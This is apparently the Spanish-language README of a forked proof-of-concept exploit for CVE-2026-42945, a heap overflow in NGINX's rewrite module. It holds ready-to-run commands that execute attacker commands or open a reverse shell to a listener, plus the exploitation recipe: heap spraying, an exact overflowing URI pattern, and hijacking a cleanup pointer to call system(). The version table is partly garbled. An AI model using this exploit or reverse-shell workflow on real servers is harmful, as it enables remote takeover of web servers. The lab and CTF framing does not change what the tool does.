PoC de RCE en Python con listener de reverse shell para CVE-2026-42945 (NGINX Rift)
Prueba de concepto de ejecución remota de código para CVE-2026-42945, un desbordamiento de búfer en el heap del módulo ngx_http_rewrite_module de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado y parámetros de explotación configurables para entornos de CTF y laboratorios aislados.
ngx_http_rewrite_module0.6.27 – 1.30.0; NGINX Plus R32 – R361.30.1 / ; NGINX Plus , , 1.31.0R36 P4R35 P2R32 P6is_args = 0, mientras que la pasada de copia se ejecuta en el motor principal con is_args = 1, invocando ngx_escape_uri(..., NGX_ESCAPE_ARGS). Los bytes escapables se expanden a 3 bytes cada uno, desbordando un búfer del heap de tamaño insuficiente con datos URI controlados por el atacante.rewrite/set que use capturas PCRE sin nombre ($1, $2) junto con ? en la cadena de reemplazo; ASLR deshabilitado o direcciones base conocidas de heap/libc; capacidad de rociar el heap mediante cuerpos de peticiones POST.| Archivo | Descripción |
|---|---|
cve_2026_42945_rce_poc.py | Exploit en Python con listener de reverse shell integrado y modos de ejecución de comandos. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s: system@libc | puntero al comando | null. Estos cuerpos ocupan ubicaciones estables del heap.rewrite. El patrón de la URI es:
/api/<349 x 'A'><969 x '+'><dirección de heap de 6 bytes>
cleanup de una ngx_pool_t adyacente.cleanup corrupto invoca system(comando), ejecutando el comando controlado por el atacante dentro del proceso worker de NGINX.--shell, el comando es un payload de reverse shell y el listener integrado captura la conexión entrante.Esta herramienta está pensada para:
No la uses en sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.
Úsalo bajo tu propio riesgo. El autor no es responsable del uso no autorizado o ilegal.
Investigación original de la vulnerabilidad y PoC por depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Este fork de reverse shell en Python fue creado para uso en laboratorios de red team / CTF.